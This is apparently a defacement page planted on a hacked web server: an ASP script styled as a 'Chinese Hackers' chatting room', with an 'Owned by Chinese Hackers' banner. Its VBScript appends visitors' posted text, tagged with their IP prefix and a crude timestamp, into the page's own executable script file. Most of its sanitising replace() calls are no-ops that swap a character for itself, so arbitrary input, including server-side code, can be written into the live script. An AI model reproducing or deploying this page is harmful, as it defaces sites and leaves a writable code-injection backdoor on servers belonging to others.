<%@ LANGUAGE = VBScript %>
<%
server.scripttimeout=120
response.buffer = true
on error resume next
tm = now
ff = Request.ServerVariables("SCRIPT_NAME")
uip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If uip = "" Then uip = Request.ServerVariables("REMOTE_ADDR")
uip=split(uip,".",-1,1)
ipx=uip(0)&"."&uip(1)&"."&uip(2)&".*"
data = left(replace(trim(request.form("what")),"说点什么吧",""),200)
if data<>"" then
data = replace(replace(replace(replace(replace(replace(replace(replace(replace(data,"http://",""),"<","<"),">",">"),"%","%"),"(","["),")","]"),"/","/"),"'","'"),"""",""")
data = replace(data,"[img]","![]()
")
txt = ""&data&"IP为"&ipx&"的童鞋 >>> Fucked at:"&tm&"
"
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
Set File=Fs.OpenTextFile(Server.MapPath(ff),8,Flase)
File.Writeline txt
File.Close
response.write ""
end if
%>
Chinese Hackers' Chating Room
Hacked! Owned by Chinese Hackers!
菊花聊天室